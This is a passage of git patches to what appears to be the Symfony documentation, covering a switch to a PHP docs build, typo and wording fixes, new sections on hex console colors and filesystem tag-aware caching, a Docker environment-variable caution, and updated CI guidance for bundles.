-                "source": "https://github.com/twigphp/Twig/tree/2.x"
+                "source": "https://github.com/twigphp/Twig/tree/v2.14.0"
             },
             "funding": [
                 {
@@ -2174,7 +2014,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T12:45:52+00:00"
+            "time": "2020-10-21T12:35:06+00:00"
         }
     ],
     "packages-dev": [],
@@ -2184,7 +2024,7 @@
         "symfony/docs-builder": 20,
         "symfony/process": 20
     },
-    "prefer-stable": false,
+    "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
         "php": ">=7.2.9"

From 3eeb845cd5269fec8fb338043300396e15e47a13 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 26 Oct 2020 16:43:31 +0100
Subject: [PATCH 1422/7107] Use PHP docs builder for SymfonyCloud deploys

---
 .symfony.cloud.yaml | 20 +++++---------------
 1 file changed, 5 insertions(+), 15 deletions(-)

diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml
index faa3c24780e..bcb1a48bf08 100644
--- a/.symfony.cloud.yaml
+++ b/.symfony.cloud.yaml
@@ -5,12 +5,12 @@
 name: symfonydocs
 
 # The toolstack used to build the application.
-type: "python:3.7"
+type: "php:7.2"
 
 # The configuration of app when it is exposed to the web.
 web:
     # The public directory of the app, relative to its root.
-    document_root: "/_build/html"
+    document_root: "/_build/output"
     index_files:
       - index.html
     whitelist:
@@ -40,19 +40,9 @@ web:
 # The size of the persistent disk of the application (in MB).
 disk: 512
 
-# Build time dependencies.
-dependencies:
-  python:
-    virtualenv: 15.1.0
-
 # The hooks that will be performed when the package is deployed.
 hooks:
     build: |
-      virtualenv .virtualenv
-      . .virtualenv/bin/activate
-      # SymfonyCloud currently sets PIP_USER=1.
-      export PIP_USER=
-      pip install pip==9.0.1 wheel==0.29.0
-      pip install -r _build/.requirements.txt
-      find .virtualenv -type f -name "*.rst" -delete
-      make -C _build html
+      cd _build
+      composer install --prefer-dist --no-progress
+      php build.php

From 09be97abda04f5b6a865baa0ecefd1029e2d067d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yann=20Eugon=C3=A9?= <eugone.yann@gmail.com>
Date: Mon, 26 Oct 2020 10:34:08 +0100
Subject: [PATCH 1423/7107] [DependencyInjection] Fix tagged service priority
 inconsistent method name

---
 service_container/tags.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7aee0061c0c..7ec5fcc5637 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -655,8 +655,9 @@ service itself::
         }
     }
 
-If you want to have another method defining the priority, you can define it
-in the configuration of the collecting service:
+If you want to have another method defining the priority 
+(e.g. ``getPriority()`` rather than ``getDefaultPriority()``),
+you can define it in the configuration of the collecting service:
 
 .. configuration-block::
 

From 0d182b33c00c00977d8cd468a068ca463c71bc9d Mon Sep 17 00:00:00 2001
From: Med Ghaith Sellami <medghaith.sellami@gmail.com>
Date: Tue, 27 Oct 2020 20:35:28 +0100
Subject: [PATCH 1424/7107] update PHP callable docs link

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index e89441e6a08..0344acf4e8e 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -532,4 +532,4 @@ Learn More
 .. _Mediator: https://en.wikipedia.org/wiki/Mediator_pattern
 .. _Observer: https://en.wikipedia.org/wiki/Observer_pattern
 .. _Closures: https://www.php.net/manual/en/functions.anonymous.php
-.. _PHP callable: https://www.php.net/manual/en/language.pseudo-types.php#language.types.callback
+.. _PHP callable: https://www.php.net/manual/en/language.types.callable.php

From 46ba35933a1480ac981c7a1ccf0d53534f544815 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 30 Oct 2020 08:58:52 +0100
Subject: [PATCH 1425/7107] Update to twig/cssinliner-extra

---
 components/mime.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/mime.rst b/components/mime.rst
index ce884a51193..95206fa22e3 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -103,12 +103,12 @@ extension:
 
 .. code-block:: terminal
 
-    $ composer require twig/cssinliner-extension
+    $ composer require twig/cssinliner-extra
 
 Now, enable the extension::
 
     // ...
-    use Twig\CssInliner\CssInlinerExtension;
+    use Twig\Extra\CssInliner\CssInlinerExtension;
 
     $loader = new FilesystemLoader(__DIR__.'/templates');
     $twig = new Environment($loader);

From 5a36f03d309624c8dd2d251d9db5a0c666e7c7df Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Fri, 30 Oct 2020 10:39:54 +0100
Subject: [PATCH 1426/7107] Fixed code block rendering

---
 components/process.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index 8664ddead85..f89935036f1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -394,7 +394,7 @@ Using a Prepared Command Line
 
 You can run a process by using a prepared command line with double quote
 variable notation. This allows you to use placeholders so that only the
-parameterized values can be changed, but not the rest of the script:
+parameterized values can be changed, but not the rest of the script::
 
     use Symfony\Component\Process\Process;
 

From d8658352e0cc152aa3ec1f5c9e006a3a1c54ca3f Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 29 Oct 2020 15:34:43 +0100
Subject: [PATCH 1427/7107] Update doctrine fetchAll deprecated

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index eab24ae8f13..fb491df8c2b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -812,7 +812,7 @@ In addition, you can query directly with SQL if you need to::
         $stmt->execute(['price' => $price]);
 
         // returns an array of arrays (i.e. a raw data set)
-        return $stmt->fetchAll();
+        return $stmt->fetchAllAssociative();
     }
 
 With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_

From 64058aa3c6a3da18112ac9d92e638137490783c0 Mon Sep 17 00:00:00 2001
From: freezy <marek.viger@gmail.com>
Date: Wed, 28 Oct 2020 14:15:13 +0100
Subject: [PATCH 1428/7107] Mention supported hex colors

---
 console/coloring.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 3684d71709d..913805b5cea 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -40,13 +40,22 @@ It is possible to define your own styles using the
     use Symfony\Component\Console\Formatter\OutputFormatterStyle;
 
     // ...
-    $outputStyle = new OutputFormatterStyle('red', 'yellow', ['bold', 'blink']);
+    $outputStyle = new OutputFormatterStyle('red', '#ff0', ['bold', 'blink']);
     $output->getFormatter()->setStyle('fire', $outputStyle);
 
     $output->writeln('<fire>foo</>');
 
-Available foreground and background colors are: ``black``, ``red``, ``green``,
-``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+Any hex color is supported for foreground and background colors. Besides that, these named colors are supported:
+``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+
+.. versionadded:: 5.2
+
+    True (hex) color support was introduced in Symfony 5.2
+
+.. note::
+
+    If the terminal doesn't support true colors, the nearest named color is used.
+    E.g. ``#c0392b`` is degraded to ``red`` or ``#f1c40f`` is degraded to ``yellow``.
 
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors
@@ -59,6 +68,9 @@ You can also set these colors and options directly inside the tag name::
     // green text
     $output->writeln('<fg=green>foo</>');
 
+    // red text
+    $output->writeln('<fg=#c0392b>foo</>');
+
     // black text on a cyan background
     $output->writeln('<fg=black;bg=cyan>foo</>');
 

From 24312cb7292bf9f3aceefbf7f8c4ec9c68ee7b02 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andre=CC=81=20R?= <ar@ez.no>
Date: Wed, 28 Oct 2020 15:37:11 +0100
Subject: [PATCH 1429/7107] [Cache] Adds mention of using
 FileSystemTagAwareAdatpter

---
 components/cache/adapters/filesystem_adapter.rst | 13 +++++++++++++
 components/cache/cache_invalidation.rst          |  3 ++-
 2 files changed, 15 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 33097fbd202..3939d5f568f 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -55,5 +55,18 @@ and cache root path as constructor parameters::
     :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
+
+.. _filesystem-tag-aware-adapter:
+
+Working with Tags
+-----------------
+
+In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`. Since tag invalidation logic is implemented using links on filesystem, this adapter offers better read performance when using tag-based invalidation::
+
+    use Symfony\Component\Cache\Adapter\FilesystemTagAwareAdapter;
+
+    $cache = new FilesystemTagAwareAdapter();
+
+
 .. _`tmpfs`: https://wiki.archlinux.org/index.php/tmpfs
 .. _`RAM disk solutions`: https://en.wikipedia.org/wiki/List_of_RAM_drive_software
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 22f5830cf3e..084cee4cb70 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -61,7 +61,8 @@ method.
 .. note::
 
     When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware-adapter>`
-    which is optimized for this purpose.
+    which is optimized for this purpose. When using File system, likewise consider to use
+    :ref:`FilesystemTagAwareAdapter <filesystem-tag-aware-adapter>`.
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements
 instantaneous invalidation (time complexity is ``O(N)`` where ``N`` is the number

From 34a16a8624c6ae61cda9b974ee2146f05ca36040 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Oct 2020 13:47:57 +0100
Subject: [PATCH 1430/7107] Fix: Typo

---
 components/cache/cache_invalidation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 084cee4cb70..bef2c29b0b7 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -61,7 +61,7 @@ method.
 .. note::
 
     When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware-adapter>`
-    which is optimized for this purpose. When using File system, likewise consider to use
+    which is optimized for this purpose. When using filesystem, likewise consider to use
     :ref:`FilesystemTagAwareAdapter <filesystem-tag-aware-adapter>`.
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements

From 5cd490de3d32acf820be5f3bbd18457ce631336e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Oct 2020 13:48:58 +0100
Subject: [PATCH 1431/7107] Fix: Add line breaks

---
 components/cache/adapters/filesystem_adapter.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 3939d5f568f..c4db3a7fb76 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -61,7 +61,11 @@ and cache root path as constructor parameters::
 Working with Tags
 -----------------
 
-In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`. Since tag invalidation logic is implemented using links on filesystem, this adapter offers better read performance when using tag-based invalidation::
+In order to use tag-based invalidation, you can wrap your adapter in
+:class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often
+more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`.
+Since tag invalidation logic is implemented using links on filesystem, this
+adapter offers better read performance when using tag-based invalidation::
 
     use Symfony\Component\Cache\Adapter\FilesystemTagAwareAdapter;
 

From ace5e3a8cc5b984b53a699a4e16e413dad084ccc Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Fri, 9 Oct 2020 10:31:46 +0200
Subject: [PATCH 1432/7107] Add warning on Docker integration

---
 setup/symfony_server.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 70155de0637..a8374aaca4a 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -378,6 +378,16 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
+.. caution::
+
+    When using Symfony binary with ``php bin/console`` (``symfony console ...``)
+    the binay will **always** use environment variables detected via Docker and will
+    ignore local environment variables.
+    For example if you set up a different database name in your ``.env.test`` file
+    (``DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/test``) and if you run
+    ``symfony console doctrine:database:drop --force --env=test`` the command will drop the database
+    defined in your Docker configuration and not the "test" one.
+
 SymfonyCloud Integration
 ------------------------
 

From 8d1614e2e2c4a3ec22b9ca91cb7ad48b8ec14f6e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Oct 2020 14:01:09 +0100
Subject: [PATCH 1433/7107] Enhancement: Private member variables in code
 example

---
 create_framework/separation_of_concerns.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index e1e46f3ebe3..24d34f0e82b 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -27,9 +27,9 @@ request handling logic into its own ``Simplex\Framework`` class::
 
     class Framework
     {
-        protected $matcher;
-        protected $controllerResolver;
-        protected $argumentResolver;
+        private $matcher;
+        private $controllerResolver;
+        private $argumentResolver;
 
         public function __construct(UrlMatcher $matcher, ControllerResolver $controllerResolver, ArgumentResolver $argumentResolver)
         {

From ae45622a92dfd8bd8b206a2c0f70e0310481d702 Mon Sep 17 00:00:00 2001
From: Ca-Jou <camille.jouan@blackfire.io>
Date: Wed, 28 Oct 2020 16:30:54 +0100
Subject: [PATCH 1434/7107] =?UTF-8?q?spotted=20minor=20EN=20mistakes=20and?=
 =?UTF-8?q?=20coherence=20issues=20between=20the=20different=20=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 create_framework/dependency_injection.rst            | 2 +-
 create_framework/event_dispatcher.rst                | 2 +-
 create_framework/front_controller.rst                | 2 +-
 create_framework/http_foundation.rst                 | 4 ++--
 create_framework/http_kernel_controller_resolver.rst | 2 +-
 create_framework/http_kernel_httpkernelinterface.rst | 7 ++++---
 6 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index b38241e3ce2..cd20a947251 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -205,7 +205,7 @@ Now, here is how you can register a custom listener in the front controller::
         ->addMethodCall('addSubscriber', [new Reference('listener.string_response')])
     ;
 
-Beside describing your objects, the dependency injection container can also be
+Besides describing your objects, the dependency injection container can also be
 configured via parameters. Let's create one that defines if we are in debug
 mode or not::
 
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index fd655a93ebf..bf872a5bb50 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -23,7 +23,7 @@ version of this pattern:
 How does it work? The *dispatcher*, the central object of the event dispatcher
 system, notifies *listeners* of an *event* dispatched to it. Put another way:
 your code dispatches an event to the dispatcher, the dispatcher notifies all
-registered listeners for the event, and each listener do whatever it wants
+registered listeners for the event, and each listener does whatever it wants
 with the event.
 
 As an example, let's create a listener that transparently adds the Google
diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index 39286ba8c16..e6a7293fa6b 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -132,7 +132,7 @@ its sub-directories (only if needed -- see above tip).
     like ``$request = Request::create('/hello?name=Fabien');`` where the
     argument is the URL path you want to simulate.
 
-Now that the web server always access the same script (``front.php``) for all
+Now that the web server always accesses the same script (``front.php``) for all
 pages, we can secure the code further by moving all other PHP files outside the
 web root directory:
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index b56834319a8..99dff5c1faf 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -273,7 +273,7 @@ cases by yourself. Why not using a technology that already works?
     a look at the ``Symfony\Component\HttpFoundation`` API or read
     its dedicated :doc:`documentation </components/http_foundation>`.
 
-Believe or not but we have our first framework. You can stop now if you want.
+Believe it or not but we have our first framework. You can stop now if you want.
 Using just the Symfony HttpFoundation component already allows you to write
 better and more testable code. It also allows you to write code faster as many
 day-to-day problems have already been solved for you.
@@ -282,7 +282,7 @@ As a matter of fact, projects like Drupal have adopted the HttpFoundation
 component; if it works for them, it will probably work for you. Don't reinvent
 the wheel.
 
-I've almost forgot to talk about one added benefit: using the HttpFoundation
+I've almost forgotten to talk about one added benefit: using the HttpFoundation
 component is the start of better interoperability between all frameworks and
 `applications using it`_ (like `Symfony`_, `Drupal 8`_, `phpBB 3`_, `Laravel`_
 and `ezPublish 5`_,  and `more`_).
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index bac631073e6..12d9efead6e 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -31,7 +31,7 @@ The move is pretty straightforward and makes a lot of sense as soon as you
 create more pages but you might have noticed a non-desirable side effect...
 The ``LeapYearController`` class is *always* instantiated, even if the
 requested URL does not match the ``leap_year`` route. This is bad for one main
-reason: performance wise, all controllers for all routes must now be
+reason: performance-wise, all controllers for all routes must now be
 instantiated for every request. It would be better if controllers were
 lazy-loaded so that only the controller associated with the matched route is
 instantiated.
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 9207ba342b0..9bda9e5c731 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -46,8 +46,8 @@ Update your framework so that it implements this interface::
         }
     }
 
-Even if this change looks not too complex, it brings us a lot! Let's talk about one of
-the most impressive one: transparent :doc:`HTTP caching </http_cache>` support.
+With this change, a little goes a long way! Let's talk about one of
+the most impressive upsides: transparent :doc:`HTTP caching </http_cache>` support.
 
 The ``HttpCache`` class implements a fully-featured reverse proxy, written in
 PHP; it implements ``HttpKernelInterface`` and wraps another
@@ -64,7 +64,8 @@ PHP; it implements ``HttpKernelInterface`` and wraps another
         new HttpKernel\HttpCache\Store(__DIR__.'/../cache')
     );
 
-    $framework->handle($request)->send();
+    $response = $framework->handle($request);
+    $response->send();
 
 That's all it takes to add HTTP caching support to our framework. Isn't it
 amazing?

From f746ec156d528b76e69872d31e2101232b56af5a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Oct 2020 16:54:28 +0100
Subject: [PATCH 1435/7107] [Performance] Mention Symfony Stowatch in some doc
 sections

---
 performance.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/performance.rst b/performance.rst
index ec9d44e5610..65859141433 100644
--- a/performance.rst
+++ b/performance.rst
@@ -211,21 +211,24 @@ deployment process too):
 
 .. _profiling-applications:
 
-Profiling Applications
-----------------------
+Profiling Symfony Applications
+------------------------------
+
+Profiling with Blackfire
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 `Blackfire`_ is the best tool to profile and optimize performance of Symfony
 applications during development, test and production. It's a commercial service,
 but provides free features that you can use to find bottlenecks in your projects.
 
+Profilwing with Symfony Stopwatch
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Symfony provides a basic performance profiler in the development
 :ref:`config environment <configuration-environments>`. Click on the "time panel"
 of the :ref:`web debug toolbar <web-debug-toolbar>` to see how much time Symfony
 spent on tasks such as making database queries and rendering templates.
 
-Custom Profiling
-~~~~~~~~~~~~~~~~
-
 You can measure the execution time and memory consumption of your own code and
 display the result in the Symfony profiler thanks to the `Stopwatch component`_.
 

From 950f2552731f63827330b65abe4f2944d12a921f Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 9 Jun 2020 21:48:07 +0200
Subject: [PATCH 1436/7107] add _failure_path option to reference

---
 reference/configuration/security.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 9c7f5da8755..399794e2402 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -528,6 +528,14 @@ target_path_parameter
 When using a login form, if you include an HTML element to set the target path,
 this option lets you change the name of the HTML element itself.
 
+failure_path_parameter
+......................
+
+**type**: ``string`` **default**: ``_failure_path``
+
+When using a login form, if you include an HTML element to set the failure path,
+this option lets you change the name of the HTML element itself.
+
 use_referer
 ...........
 

From 53abe31aae73f39a68bd13d81c581b4389ab9a2c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 31 Oct 2020 22:57:24 +0100
Subject: [PATCH 1437/7107] Use Symfony Flex and do not favor any CI tool

---
 bundles/best_practices.rst | 124 ++++++++++++++++---------------------
 1 file changed, 55 insertions(+), 69 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index e80050e2fce..010ba551832 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -171,73 +171,59 @@ Continuous Integration
 
 Testing bundle code continuously, including all its commits and pull requests,
 is a good practice called Continuous Integration. There are several services
-providing this feature for free for open source projects. The most popular
-service for Symfony bundles is called `Travis CI`_.
-
-Here is the recommended configuration file (``.travis.yml``) for Symfony bundles,
-which test the two latest :doc:`LTS versions </contributing/community/releases>`
-of Symfony and the latest beta release:
-
-.. code-block:: yaml
-
-    language: php
-
-    cache:
-        directories:
-            - $HOME/.composer/cache/files
-            - $HOME/symfony-bridge/.phpunit
-
-    env:
-        global:
-            - PHPUNIT_FLAGS="-v"
-            - SYMFONY_PHPUNIT_DIR="$HOME/symfony-bridge/.phpunit"
-
-    matrix:
-        fast_finish: true
-        include:
-              # Minimum supported dependencies with the latest and oldest PHP version
-            - php: 7.2
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-            - php: 7.1
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-
-              # Test the latest stable release
-            - php: 7.1
-            - php: 7.2
-              env: COVERAGE=true PHPUNIT_FLAGS="-v --coverage-text"
-
-              # Test LTS versions. This makes sure we do not use Symfony packages with version greater
-              # than 2 or 3 respectively. Read more at https://github.com/symfony/lts
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^2"
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^3"
-
-              # Latest commit to master
-            - php: 7.2
-              env: STABILITY="dev"
-
-        allow_failures:
-              # Dev-master is allowed to fail.
-            - env: STABILITY="dev"
-
-    before_install:
-        - if [[ $COVERAGE != true ]]; then phpenv config-rm xdebug.ini || true; fi
-        - if ! [ -z "$STABILITY" ]; then composer config minimum-stability ${STABILITY}; fi;
-        - if ! [ -v "$DEPENDENCIES" ]; then composer require --no-update ${DEPENDENCIES}; fi;
-
-    install:
-        - composer update ${COMPOSER_FLAGS} --prefer-dist --no-interaction
-        - ./vendor/bin/simple-phpunit install
-
-    script:
-        - composer validate --strict --no-check-lock
-        # simple-phpunit is the PHPUnit wrapper provided by the PHPUnit Bridge component and
-        # it helps with testing legacy code and deprecations (composer require symfony/phpunit-bridge)
-        - ./vendor/bin/simple-phpunit $PHPUNIT_FLAGS
-
-Consider using the `Travis cron`_ tool to make sure your project is built even if
-there are no new pull requests or commits.
+providing this feature for free for open source projects, like `GitHub Actions`_
+and `Travis CI`_.
+
+A bundle should at least test:
+
+* The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
+* The supported PHP versions;
+* All supported major Symfony versions (e.g. both ``3.x`` and ``4.x`` if
+  support is claimed for both).
+
+Thus, a bundle support PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
+have at least this test matrix:
+
+===========  ===============  ===================
+PHP version  Symfony version  Composer flags
+===========  ===============  ===================
+7.3          ``3.*``          ``--prefer-lowest``
+7.4          ``4.*``
+8.0          ``4.*``
+===========  ===============  ===================
+
+.. tip::
+
+    The tests should be run with the ``SYMFONY_DEPRECATIONS_HELPER``
+    env variable set to ``max[direct]=0``. This ensures no code in the
+    bundle uses deprecated features directly.
+
+    The lowest dependency tests can be run with this variable set to
+    ``disabled=1``.
+
+Require a Specific Symfony Version
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can use the special ``SYMFONY_REQUIRE`` environment variable together
+with Symfony Flex to install a specific Symfony version:
+
+.. code-block:: bash
+
+    # this requires Symfony 5.x for all Symfony packages
+    export SYMFONY_REQUIRE=5.*
+
+    # install Symfony Flex in the CI environment
+    composer global require --no-progress --no-scripts --no-plugins symfony/flex
+
+    # install the dependencies (using --prefer-dist and --no-progress is
+    # recommended to have a better output and faster download time)
+    composer update --prefer-dist --no-progress
+
+.. caution::
+
+    If you want to cache your Composer dependencies, **do not** cache the
+    ``vendor/`` directory as this has side-effects. Instead cache
+    ``$HOME/.composer/cache/files``.
 
 Installation
 ------------
@@ -529,5 +515,5 @@ Learn more
 .. _`Packagist`: https://packagist.org/
 .. _`choose any license`: https://choosealicense.com/
 .. _`valid license identifier`: https://spdx.org/licenses/
-.. _`Travis CI`: https://travis-ci.org/
-.. _`Travis cron`: https://docs.travis-ci.com/user/cron-jobs/
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
+.. _`Travis CI`: https://docs.travis-ci.com/

From 50dfc9097da5fe075e353bc95c1b609dd484a0f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 19 May 2020 16:51:17 +0200
Subject: [PATCH 1438/7107] Update form_customization.rst

---
 form/bootstrap4.rst         | 2 ++
 form/form_customization.rst | 5 +++++
 2 files changed, 7 insertions(+)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index cc19dd2f8c9..e96db1afb3b 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,6 +77,8 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
+.. _reference-forms-bootstrap-error-messages:
+
 Error Messages
 --------------
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3094eb08f40..9c4a32919f2 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -255,6 +255,11 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
+.. caution::
+
+    In the Bootstrap 4 form theme, ``form_errors()`` is already included
+    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+
 .. _reference-forms-twig-widget:
 
 form_widget(form_view, variables)

From cb1a140e0ff208e0b5d78786e7918d18e255c26e Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Fri, 28 Aug 2020 23:28:38 +0200
Subject: [PATCH 1439/7107] Clarify how workflow can be injected

---
 workflow.rst | 61 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 43 insertions(+), 18 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 3ca81fbea6c..7f7acffaa3a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -236,28 +236,28 @@ what actions are allowed on a blog post::
 Accessing the Workflow in a Class
 ---------------------------------
 
-To access workflow inside a class, use dependency injection and inject the
-registry in the constructor::
+You can use the workflow inside a class by using
+:doc:`service autowiring </service_container/autowiring>` and using
+``camelCased workflow name + Workflow`` as parameter name::
 
     use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
+    use Symfony\Component\Workflow\WorkflowInterface;
 
     class MyClass
     {
-        private $workflowRegistry;
+        private $blogPublishingWorkflow;
 
-        public function __construct(Registry $workflowRegistry)
+        // this injects the blog_publishing workflow configured before
+        public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
-            $this->workflowRegistry = $workflowRegistry;
+            $this->blogPublishingWorkflow = $blogPublishingWorkflow;
         }
 
         public function toReview(BlogPost $post)
         {
-            $workflow = $this->workflowRegistry->get($post);
-
             // Update the currentState on the post
             try {
-                $workflow->apply($post, 'to_review');
+                $this->blogPublishingWorkflow->apply($post, 'to_review');
             } catch (LogicException $exception) {
                 // ...
             }
@@ -265,6 +265,33 @@ registry in the constructor::
         }
     }
 
+Alternatively, use the registry::
+
+    use App\Entity\BlogPost;
+    use Symfony\Component\Workflow\Registry;
+
+    class MyClass
+    {
+        private $workflowRegistry;
+
+        public function __construct(Registry $workflowRegistry)
